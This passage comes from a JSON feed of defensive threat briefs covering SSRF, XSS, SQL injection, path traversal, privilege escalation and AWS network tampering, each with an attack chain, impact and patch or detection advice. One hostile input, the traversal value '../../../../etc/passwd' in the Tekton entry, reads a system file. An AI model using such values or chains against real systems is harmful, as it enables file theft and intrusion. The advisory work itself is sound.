IMDS allows for the theft of instance credentials, enabling attackers to compromise other AWS resources and escalate their privileges. This vulnerability can lead to a full compromise of the internal network environment where Postiz is hosted, potentially impacting all services and data within that environment.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade Postiz to version v2.21.1 to patch the SSRF vulnerability as recommended by the vendor.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Detect SSRF Attempt to AWS IMDS\u0026rdquo; to identify attempts to access the AWS metadata service (169.254.169.254) via HTTP requests.\u003c/li\u003e\n\u003cli\u003eMonitor web server logs for unusual outbound HTTP requests to internal IP addresses and private networks, specifically those originating from the Postiz application.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-03-27T15:46:53Z","date_published":"2026-03-27T15:46:53Z","id":"/briefs/2026-03-postiz-ssrf/","summary":"A high-severity SSRF vulnerability exists in the Postiz application via Next.js, allowing attackers to bypass firewalls, scan internal networks, access sensitive cloud metadata (AWS IMDS), potentially leak instance credentials, and pivot within the internal network.","title":"Postiz App SSRF Vulnerability via Next.js","url":"https://feed.craftedsignal.io/briefs/2026-03-postiz-ssrf/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["xss","ory-polis","cve-2026-33506","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eOry Polis, formerly known as BoxyHQ Jackson, is a service that bridges or proxies SAML login flows to OAuth 2.0 or OpenID Connect. A DOM-based Cross-Site Scripting (XSS) vulnerability has been identified in versions of Ory Polis prior to 26.2.0. This vulnerability arises from the application\u0026rsquo;s improper trust of the \u003ccode\u003ecallbackUrl\u003c/code\u003e URL parameter within its login functionality. An attacker can exploit this by crafting a malicious link containing JavaScript code within the \u003ccode\u003ecallbackUrl\u003c/code\u003e. When a…\u003c/p\u003e\n","date_modified":"2026-03-26T19:17:05Z","date_published":"2026-03-26T19:17:05Z","id":"/briefs/2024-01-ory-polis-xss/","summary":"Ory Polis versions prior to 26.2.0 are vulnerable to DOM-based XSS due to improper handling of the `callbackUrl` parameter, allowing attackers to execute arbitrary JavaScript in a user's browser.","title":"Ory Polis DOM-based XSS Vulnerability (CVE-2026-33506)","url":"https://feed.craftedsignal.io/briefs/2024-01-ory-polis-xss/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["ory-kratos","sql-injection","cve-2026-33503","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eOry Kratos, an identity, user management, and authentication system for cloud services, is vulnerable to SQL injection in versions prior to 26.2.0. The vulnerability resides within the ListCourierMessages Admin API and stems from flaws in its pagination implementation. The pagination tokens are encrypted using a secret configured in \u003ccode\u003esecrets.pagination\u003c/code\u003e. Attackers who obtain this secret can forge malicious tokens, leading to SQL injection attacks. Critically, if this configuration value remains unset, Kratos defaults to a publicly known pagination encryption secret. This allows attackers to manually generate valid malicious pagination tokens for vulnerable installations. Defenders should immediately configure a custom value for \u003ccode\u003esecrets.pagination\u003c/code\u003e using a cryptographically secure random secret and upgrade Kratos to version 26.2.0 or later.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker identifies an Ory Kratos instance running a version prior to 26.2.0.\u003c/li\u003e\n\u003cli\u003eAttacker checks the Kratos configuration to determine if \u003ccode\u003esecrets.pagination\u003c/code\u003e is set.\u003c/li\u003e\n\u003cli\u003eIf \u003ccode\u003esecrets.pagination\u003c/code\u003e is not set, the attacker leverages the publicly known default pagination encryption secret.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious pagination token containing SQL injection payloads. This token exploits the vulnerable pagination logic in the \u003ccode\u003eListCourierMessages\u003c/code\u003e API.\u003c/li\u003e\n\u003cli\u003eAttacker sends a request to the \u003ccode\u003e/admin/courier/messages\u003c/code\u003e endpoint with the crafted pagination token in the \u003ccode\u003epage_token\u003c/code\u003e parameter.\u003c/li\u003e\n\u003cli\u003eThe Kratos application processes the malicious token, leading to the execution of arbitrary SQL queries against the underlying database.\u003c/li\u003e\n\u003cli\u003eThe SQL injection allows the attacker to potentially read, modify, or delete sensitive data within the Kratos database, including user credentials, configuration settings, or other confidential information.\u003c/li\u003e\n\u003cli\u003eThe attacker may use the compromised data for further attacks, such as account takeover or privilege escalation.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this SQL injection vulnerability can lead to complete compromise of the Ory Kratos instance. This can result in unauthorized access to user accounts, disclosure of sensitive information, and potential data manipulation or deletion. The severity is high due to the potential for significant data breach and service disruption impacting all users managed by the compromised Kratos instance. The number of victims depends on the size and user base of the affected Ory Kratos deployment.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImmediately configure a custom value for \u003ccode\u003esecrets.pagination\u003c/code\u003e by generating a cryptographically secure random secret within your Ory Kratos configuration (reference: Overview section).\u003c/li\u003e\n\u003cli\u003eUpgrade Ory Kratos to version 26.2.0 or later to patch the SQL injection vulnerability (reference: Overview section).\u003c/li\u003e\n\u003cli\u003eMonitor web server logs for suspicious requests to the \u003ccode\u003e/admin/courier/messages\u003c/code\u003e endpoint containing unusually long or malformed \u003ccode\u003epage_token\u003c/code\u003e parameters (create a custom rule based on this behavior).\u003c/li\u003e\n\u003cli\u003eImplement a Web Application Firewall (WAF) rule to block requests with suspicious SQL syntax in the \u003ccode\u003epage_token\u003c/code\u003e parameter targeting the \u003ccode\u003e/admin/courier/messages\u003c/code\u003e endpoint.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-03-26T18:16:30Z","date_published":"2026-03-26T18:16:30Z","id":"/briefs/2024-01-ory-kratos-sqli/","summary":"A SQL injection vulnerability exists in the ListCourierMessages Admin API of Ory Kratos versions prior to 26.2.0 due to flaws in its pagination implementation, allowing attackers to craft malicious tokens if the pagination secret is known or the default secret is used.","title":"Ory Kratos SQL Injection Vulnerability in ListCourierMessages API","url":"https://feed.craftedsignal.io/briefs/2024-01-ory-kratos-sqli/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["kubernetes","privilege-escalation","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eA vulnerability exists within the RedHat Multicluster Engine for Kubernetes that allows a local attacker to escalate their privileges. The specific details of the vulnerability are not disclosed in this advisory, but successful exploitation would grant the attacker elevated permissions within the Kubernetes environment. This issue affects deployments of RedHat Multicluster Engine, potentially impacting the security and integrity of containerized applications and the underlying infrastructure. Defenders should investigate and apply the appropriate patches or mitigations as soon as they become available.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker gains initial local access to a system running RedHat Multicluster Engine for Kubernetes, possibly through compromised credentials or an existing vulnerability.\u003c/li\u003e\n\u003cli\u003eThe attacker identifies the specific vulnerable component within the RedHat Multicluster Engine.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious payload designed to exploit the vulnerability.\u003c/li\u003e\n\u003cli\u003eThe attacker executes the payload locally on the compromised system, targeting the vulnerable component.\u003c/li\u003e\n\u003cli\u003eSuccessful exploitation grants the attacker elevated privileges within the Kubernetes environment.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the escalated privileges to access sensitive resources or perform unauthorized actions within the Kubernetes cluster.\u003c/li\u003e\n\u003cli\u003eThe attacker may attempt to further compromise other nodes or services within the cluster.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability allows a local attacker to escalate their privileges within a RedHat Multicluster Engine for Kubernetes environment. This can lead to unauthorized access to sensitive data, compromise of containerized applications, and potential disruption of services. The impact could range from data breaches to complete cluster takeover, depending on the scope of the attacker\u0026rsquo;s activities after privilege escalation.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMonitor process creation events for suspicious activity within the Kubernetes environment that may indicate exploitation attempts (see generic process creation rules).\u003c/li\u003e\n\u003cli\u003eInvestigate any unexpected privilege escalations or changes in user permissions within the RedHat Multicluster Engine environment.\u003c/li\u003e\n\u003cli\u003eAs details emerge, deploy specific detection rules to identify exploitation of the RedHat Multicluster Engine vulnerability within your environment.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-03-25T10:22:04Z","date_published":"2026-03-25T10:22:04Z","id":"/briefs/2024-07-redhat-privesc/","summary":"A local attacker can exploit a vulnerability in RedHat Multicluster Engine for Kubernetes to escalate privileges.","title":"RedHat Multicluster Engine for Kubernetes Privilege Escalation Vulnerability","url":"https://feed.craftedsignal.io/briefs/2024-07-redhat-privesc/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["medium"],"_cs_tags":["openshift","gitops","vulnerability","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eRed Hat OpenShift GitOps is susceptible to multiple vulnerabilities that can be exploited by an anonymous remote attacker. The vulnerabilities can lead to data manipulation, misrepresentation of information, or a denial-of-service condition. Given the widespread adoption of OpenShift in cloud environments, these vulnerabilities pose a significant risk to organizations relying on the platform for application deployment and management. Successful exploitation could lead to unauthorized modification of application configurations, leading to compromised deployments and potentially impacting service availability. Defenders should prioritize patching and implementing mitigations to prevent exploitation of these vulnerabilities.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker identifies a vulnerable Red Hat OpenShift GitOps instance accessible remotely.\u003c/li\u003e\n\u003cli\u003eThe attacker exploits a vulnerability allowing for unauthenticated access to sensitive data within the GitOps system.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages another vulnerability to inject malicious code into the GitOps configuration.\u003c/li\u003e\n\u003cli\u003eThe injected code is then used to modify application deployment parameters.\u003c/li\u003e\n\u003cli\u003eThe modified parameters lead to the deployment of compromised application versions.\u003c/li\u003e\n\u003cli\u003eAlternatively, the attacker exploits a denial-of-service vulnerability to disrupt the GitOps service.\u003c/li\u003e\n\u003cli\u003eThe disrupted service prevents legitimate application deployments or updates.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of these vulnerabilities in Red Hat OpenShift GitOps can lead to data manipulation, where critical application configurations are altered without authorization. Information can be misrepresented, leading to incorrect operational decisions. A denial of service can disrupt application deployments and updates, impacting service availability. The impact depends on the specific vulnerabilities exploited and the target environment.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eReview Red Hat\u0026rsquo;s security advisories for specific CVEs related to OpenShift GitOps and apply necessary patches immediately (references).\u003c/li\u003e\n\u003cli\u003eImplement network segmentation to limit remote access to OpenShift GitOps instances (network_connection).\u003c/li\u003e\n\u003cli\u003eMonitor OpenShift GitOps logs for suspicious activity, such as unauthorized configuration changes or access attempts (file_event, process_creation).\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-03-25T10:21:36Z","date_published":"2026-03-25T10:21:36Z","id":"/briefs/2026-03-openshift-gitops-vulns/","summary":"An anonymous remote attacker can exploit multiple vulnerabilities in Red Hat OpenShift GitOps to manipulate data, misrepresent information, or cause a denial of service.","title":"Red Hat OpenShift GitOps Multiple Vulnerabilities","url":"https://feed.craftedsignal.io/briefs/2026-03-openshift-gitops-vulns/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["cloud","vm-sprawl","identity-abuse"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThe increasing adoption of cloud services has led to a phenomenon known as \u0026ldquo;VM sprawl,\u0026rdquo; where organizations experience uncontrolled growth in the number of virtual machines (VMs) provisioned across multiple cloud providers such as AWS, Azure, and GCP. This often results in VMs being left unmonitored, unpatched, and with overly broad access permissions. While cloud service providers (CSPs) offer baseline security, maintaining the ongoing security posture of these VMs falls to the customer. This creates significant security gaps, as attackers can exploit these neglected VMs to gain an initial foothold, move laterally within the cloud environment, exfiltrate data, or even deploy ransomware. Microsoft\u0026rsquo;s 2024 State of Multicloud Security Report highlights the increasing number of workload identities assigned to VMs, further exacerbating the risk. The lack of comprehensive cloud visibility, with only 23% of organizations reporting a complete view of their cloud footprint, makes it challenging to detect and respond to these threats effectively.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eA machine learning engineer provisions a new VM in the cloud for data processing tasks.\u003c/li\u003e\n\u003cli\u003eThe VM is assigned a workload identity with overly broad read/write access to data storage and other resources, neglecting the principle of least privilege.\u003c/li\u003e\n\u003cli\u003eThe project concludes, but the VM remains active and unmonitored, with its initial, excessive permissions intact.\u003c/li\u003e\n\u003cli\u003eAn attacker compromises the neglected VM, exploiting its lack of patching and weak security configurations.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the VM\u0026rsquo;s existing identity to probe adjacent instances within the same virtual network (VNet) or virtual private cloud (VPC) using east-west traffic.\u003c/li\u003e\n\u003cli\u003eThe attacker gains access to internal databases or storage endpoints, exploiting the VM\u0026rsquo;s over-permissioned identity.\u003c/li\u003e\n\u003cli\u003eThe attacker moves laterally to other VMs via internal Remote Desktop Protocol (RDP), staging data for exfiltration.\u003c/li\u003e\n\u003cli\u003eThe attacker deploys ransomware across the cloud network, impacting critical workloads and data.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eCompromised and neglected VMs in cloud environments can lead to significant financial and reputational damage. Attackers can exfiltrate sensitive data, deploy ransomware, disrupt critical business operations, and incur substantial fines due to non-compliance with regulatory frameworks like NIST 800-53 and PCI DSS 4.0. IBM\u0026rsquo;s Cost of a Data Breach 2025 report found that 30% of breaches affected data across multiple environments, demonstrating the wide-ranging impact of inadequate cloud security. The dwell time, or the time between initial infiltration and detection, is significantly longer for organizations lacking visibility into their cloud environments, leading to increased costs and damage. According to a recent survey, one in three SMBs reported being hit with substantial fines following a cyberattack.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImplement a comprehensive VM inventory across all cloud platforms to identify and track all active virtual machines. Reference: \u0026ldquo;every organization needs to inventory its VM fleets across all cloud platforms\u0026rdquo;.\u003c/li\u003e\n\u003cli\u003eConduct regular reviews of permissions attached to VM identities, ensuring adherence to the principle of least privilege to minimize the blast radius of potential compromises. Reference: \u0026ldquo;review the permissions attached to the identity of each VM\u0026rdquo;.\u003c/li\u003e\n\u003cli\u003eImplement network micro-segmentation to restrict east-west traffic between VMs, limiting lateral movement opportunities for attackers. Reference: \u0026ldquo;audit their settings for unnecessary ‘east-west’ and ‘north-south’ openness\u0026rdquo;.\u003c/li\u003e\n\u003cli\u003eEnable and tune process creation logging on cloud VMs to detect unusual or unauthorized processes. This can be achieved via native cloud tooling or third-party endpoint detection and response (EDR) solutions. Reference: \u0026ldquo;security tooling can keep an eye on VMs with the same rigor as applied to the endpoints on employee desks\u0026rdquo;.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-03-25T10:00:00Z","date_published":"2026-03-25T10:00:00Z","id":"/briefs/2024-05-vm-sprawl/","summary":"Uncontrolled growth of virtual machines (VM sprawl) in cloud environments allows attackers to exploit unmonitored VMs with overly permissive access for lateral movement, data exfiltration, and ransomware deployment.","title":"Uncontrolled VM Growth Leading to Security Gaps in Cloud Environments","url":"https://feed.craftedsignal.io/briefs/2024-05-vm-sprawl/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["critical"],"_cs_tags":["tekton","path-traversal","kubernetes","cve-2026-33211","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThe Tekton Pipelines project provides Kubernetes-style resources for declaring CI/CD pipelines. A path traversal vulnerability exists in the git resolver component, tracked as CVE-2026-33211. This vulnerability affects Tekton Pipelines versions 1.0.0 and prior to 1.0.1, 1.3.3, 1.6.1, 1.9.2, and 1.10.2. An attacker with the ability to create \u003ccode\u003eResolutionRequests\u003c/code\u003e (e.g., through \u003ccode\u003eTaskRuns\u003c/code\u003e or \u003ccode\u003ePipelineRuns\u003c/code\u003e that utilize the git resolver) can exploit this flaw to read any file from the resolver pod\u0026rsquo;s file system. A successful exploit allows attackers to retrieve sensitive information, such as ServiceAccount tokens, which are base64-encoded and returned in \u003ccode\u003eresolutionrequest.status.data\u003c/code\u003e. The vulnerability has been patched in versions 1.0.1, 1.3.3, 1.6.1, 1.9.2, and 1.10.2. This poses a significant risk in multi-tenant environments where lateral movement and privilege escalation are possible.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains the ability to create \u003ccode\u003eTaskRuns\u003c/code\u003e or \u003ccode\u003ePipelineRuns\u003c/code\u003e within a Tekton Pipelines environment.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious \u003ccode\u003eResolutionRequest\u003c/code\u003e that leverages the git resolver.\u003c/li\u003e\n\u003cli\u003eWithin the \u003ccode\u003eResolutionRequest\u003c/code\u003e, the attacker injects a path traversal sequence into the \u003ccode\u003epathInRepo\u003c/code\u003e parameter, such as \u0026ldquo;../../../../etc/passwd\u0026rdquo;.\u003c/li\u003e\n\u003cli\u003eThe git resolver attempts to resolve the resource using the provided path.\u003c/li\u003e\n\u003cli\u003eDue to the path traversal vulnerability, the resolver accesses the file specified by the attacker on the resolver pod\u0026rsquo;s file system.\u003c/li\u003e\n\u003cli\u003eThe contents of the accessed file are read by the resolver.\u003c/li\u003e\n\u003cli\u003eThe resolver encodes the file content in base64.\u003c/li\u003e\n\u003cli\u003eThe base64-encoded content is returned in the \u003ccode\u003eresolutionrequest.status.data\u003c/code\u003e field, allowing the attacker to retrieve the content. This can include sensitive files such as ServiceAccount tokens.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2026-33211 allows attackers to read arbitrary files from the Tekton Pipelines resolver pod. This can lead to the compromise of sensitive information, including ServiceAccount tokens. If ServiceAccount tokens are compromised, attackers can potentially gain unauthorized access to Kubernetes resources, leading to privilege escalation, lateral movement within the cluster, and potential data exfiltration. The impact is especially high in multi-tenant environments.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade Tekton Pipelines to versions 1.0.1, 1.3.3, 1.6.1, 1.9.2, or 1.10.2 or later to patch CVE-2026-33211.\u003c/li\u003e\n\u003cli\u003eImplement strict RBAC policies to limit the ability to create \u003ccode\u003eTaskRuns\u003c/code\u003e and \u003ccode\u003ePipelineRuns\u003c/code\u003e to only authorized users and service accounts.\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes API audit logs for suspicious \u003ccode\u003eResolutionRequest\u003c/code\u003e creation events (see rule: \u0026ldquo;Detect Suspicious ResolutionRequest Creation\u0026rdquo;).\u003c/li\u003e\n\u003cli\u003eImplement network policies to restrict network access from the resolver pod to only necessary resources.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-03-24T00:16:29Z","date_published":"2026-03-24T00:16:29Z","id":"/briefs/2026-03-tekton-traversal/","summary":"The Tekton Pipelines git resolver is vulnerable to path traversal via the `pathInRepo` parameter, allowing arbitrary file reads from the resolver pod's filesystem, including ServiceAccount tokens.","title":"Tekton Pipelines Git Resolver Path Traversal Vulnerability","url":"https://feed.craftedsignal.io/briefs/2026-03-tekton-traversal/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["AWS EC2","AWS CloudTrail"],"_cs_severities":["medium"],"_cs_tags":["cloud","aws","network-routing"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eThe addition of a new route to an AWS route table can be a sign of malicious activity, especially if the route redirects traffic to an unexpected or unauthorized destination. This activity is typically logged in AWS CloudTrail. Attackers might add routes to intercept network traffic, conduct man-in-the-middle attacks, or impair defenses by routing traffic away from security appliances. Understanding who is performing this action and the destination of the new route is critical for identifying potential threats within an AWS environment.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains unauthorized access to an AWS account, potentially through compromised credentials or an exploited vulnerability.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the AWS CLI or the AWS Management Console to interact with the EC2 service.\u003c/li\u003e\n\u003cli\u003eThe attacker identifies the target route table to modify.\u003c/li\u003e\n\u003cli\u003eThe attacker executes the \u003ccode\u003eCreateRoute\u003c/code\u003e API call, specifying the destination CIDR block and target (e.g., an internet gateway, virtual private gateway, or network interface).\u003c/li\u003e\n\u003cli\u003eCloudTrail logs the \u003ccode\u003eCreateRoute\u003c/code\u003e event, capturing details of the action, including the user identity, source IP address, and the route table modification.\u003c/li\u003e\n\u003cli\u003eNetwork traffic matching the new route\u0026rsquo;s destination CIDR block is now redirected to the attacker-controlled target.\u003c/li\u003e\n\u003cli\u003eThe attacker monitors and potentially modifies the redirected traffic for reconnaissance or data exfiltration purposes.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful modification of AWS route tables can lead to significant security breaches. An attacker could redirect critical network traffic to a malicious endpoint, enabling them to intercept sensitive data or disrupt services. This could lead to data breaches, financial loss, and reputational damage. The scope of the impact depends on the criticality of the redirected traffic and the attacker\u0026rsquo;s objectives.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the \u0026ldquo;Detect AWS Route Table Modification via CloudTrail\u0026rdquo; Sigma rule to your SIEM and tune for your environment to detect suspicious route creation events in AWS CloudTrail logs.\u003c/li\u003e\n\u003cli\u003eInvestigate any \u003ccode\u003eCreateRoute\u003c/code\u003e events where the user identity is unexpected or the destination CIDR block and target are suspicious.\u003c/li\u003e\n\u003cli\u003eMonitor AWS CloudTrail logs for \u003ccode\u003eCreateRoute\u003c/code\u003e events and correlate them with other suspicious activities.\u003c/li\u003e\n\u003cli\u003eImplement strict IAM policies to limit who can modify route tables (reference the \u003ccode\u003eeventSource\u003c/code\u003e and \u003ccode\u003eeventName\u003c/code\u003e fields in the rule below).\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-11-01T12:00:00Z","date_published":"2024-11-01T12:00:00Z","id":"/briefs/2024-11-aws-route-added/","summary":"An attacker may add a new route to an AWS route table, potentially redirecting network traffic for malicious purposes such as defense impairment or data exfiltration.","title":"Detect AWS Route Table Modification via CloudTrail","url":"https://feed.craftedsignal.io/briefs/2024-11-aws-route-added/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["AWS CloudTrail","AWS EC2"],"_cs_severities":["low"],"_cs_tags":["attack.defense-impairment","attack.t1686.001","cloud"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eThe creation of new Network Access Control List (ACL) entries in Amazon Web Services (AWS) environments can be a sign of malicious activity. While legitimate use cases exist, adversaries can leverage these ACL changes to impair existing defenses, create new pathways for lateral movement, or establish persistence mechanisms. This activity is logged by CloudTrail and can be monitored to identify unauthorized or suspicious modifications to network security configurations. Attackers could create overly permissive rules that allow unauthorized access to critical resources or restrictive rules that disrupt legitimate traffic. Monitoring the creation of Network ACL entries is important for maintaining the integrity and security of AWS environments.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to an AWS account, potentially through compromised credentials or an exploited vulnerability.\u003c/li\u003e\n\u003cli\u003eThe attacker identifies the existing Network ACLs within the target Virtual Private Cloud (VPC).\u003c/li\u003e\n\u003cli\u003eThe attacker uses the AWS Management Console, CLI, or API to create a new Network ACL entry. The \u003ccode\u003eCreateNetworkAclEntry\u003c/code\u003e event is logged in CloudTrail.\u003c/li\u003e\n\u003cli\u003eThe new ACL entry may be configured to allow specific inbound or outbound traffic that was previously blocked, effectively opening a new attack vector.\u003c/li\u003e\n\u003cli\u003eAlternatively, the new ACL entry may be configured to deny legitimate traffic, causing a denial-of-service condition for specific services or resources.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the newly created ACL entry to move laterally within the AWS environment, accessing previously inaccessible resources.\u003c/li\u003e\n\u003cli\u003eThe attacker performs malicious actions, such as data exfiltration or resource compromise, using the newly opened network pathways.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eThe creation of unauthorized Network ACL entries can have significant consequences. It can lead to the opening of new attack vectors, allowing unauthorized access to sensitive data and critical resources. In some scenarios, it can result in a denial-of-service condition, disrupting legitimate business operations. Depending on the scope of the compromised resources and data, the impact can range from minor inconvenience to significant financial loss and reputational damage. Early detection of this activity is crucial to mitigating potential risks.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;New Network ACL Entry Added\u0026rdquo; to your SIEM to detect suspicious ACL modifications (logsource: aws, service: cloudtrail).\u003c/li\u003e\n\u003cli\u003eInvestigate any \u003ccode\u003eCreateNetworkAclEntry\u003c/code\u003e events that deviate from established baseline configurations or involve unexpected source/destination IP ranges.\u003c/li\u003e\n\u003cli\u003eReview and audit existing Network ACL configurations regularly to identify and remediate any overly permissive or restrictive rules.\u003c/li\u003e\n\u003cli\u003eImplement multi-factor authentication (MFA) for all AWS accounts to reduce the risk of credential compromise and unauthorized access.\u003c/li\u003e\n\u003cli\u003eMonitor CloudTrail logs for other related events, such as \u003ccode\u003eDeleteNetworkAclEntry\u003c/code\u003e or \u003ccode\u003eReplaceNetworkAclEntry\u003c/code\u003e, which may indicate further tampering with network security configurations.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-10-26T14:27:00Z","date_published":"2024-10-26T14:27:00Z","id":"/briefs/2024-10-aws-network-acl-created/","summary":"Detection of new Network ACL entries in AWS CloudTrail logs can indicate potential defense impairment or the opening of new attack vectors within an AWS account by an adversary.","title":"New AWS Network ACL Entry Creation Detected","url":"https://feed.craftedsignal.io/briefs/2024-10-aws-network-acl-created/"},{"_cs_actors":[],"_cs_cves":[{"cvss":9.9,"id":"CVE-2024-57726"}],"_cs_exploited":false,"_cs_products":["SimpleHelp"],"_cs_severities":["high"],"_cs_tags":["privilege-escalation","missing-authorization","cloud"],"_cs_type":"advisory","_cs_vendors":["SimpleHelp"],"content_html":"\u003cp\u003eCVE-2024-57726 affects SimpleHelp, a remote support software solution. This vulnerability stems from a missing authorization check, allowing low-privileged technicians to create API keys with elevated permissions beyond their intended scope. Specifically, these API keys can be manipulated to grant server admin privileges, potentially enabling unauthorized access to sensitive data and critical system configurations. The vulnerability impacts SimpleHelp versions 5.5.7 and earlier. Successful exploitation allows attackers to bypass intended access controls, gain complete control over the SimpleHelp server, and potentially pivot to other systems within the network. This vulnerability was disclosed in January 2025, and organizations using affected SimpleHelp versions are at risk.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eA low-privileged technician logs into the SimpleHelp console with their existing credentials.\u003c/li\u003e\n\u003cli\u003eThe technician leverages the missing authorization vulnerability to create a new API key.\u003c/li\u003e\n\u003cli\u003eDuring API key creation, the attacker manipulates the request to assign excessive permissions beyond their authorized access level.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the newly created API key to authenticate against the SimpleHelp API.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the elevated permissions granted by the manipulated API key to access administrative functions.\u003c/li\u003e\n\u003cli\u003eThe attacker escalates their privileges to the server admin role, granting them complete control over the SimpleHelp server.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the server admin role to access sensitive data, modify system configurations, or create new administrative accounts.\u003c/li\u003e\n\u003cli\u003eThe attacker potentially pivots to other systems within the network using the compromised SimpleHelp server as a stepping stone.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2024-57726 allows low-privileged technicians, or malicious actors who have compromised technician accounts, to escalate their privileges to the server admin role in SimpleHelp. This grants them complete control over the SimpleHelp server, potentially leading to data breaches, system downtime, and further compromise of the network. The vulnerability affects organizations using SimpleHelp versions 5.5.7 and earlier. The number of victims and specific sectors targeted remain unknown, but the potential impact is significant due to the sensitive nature of remote support software.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eApply mitigations provided by SimpleHelp to patch the missing authorization vulnerability in 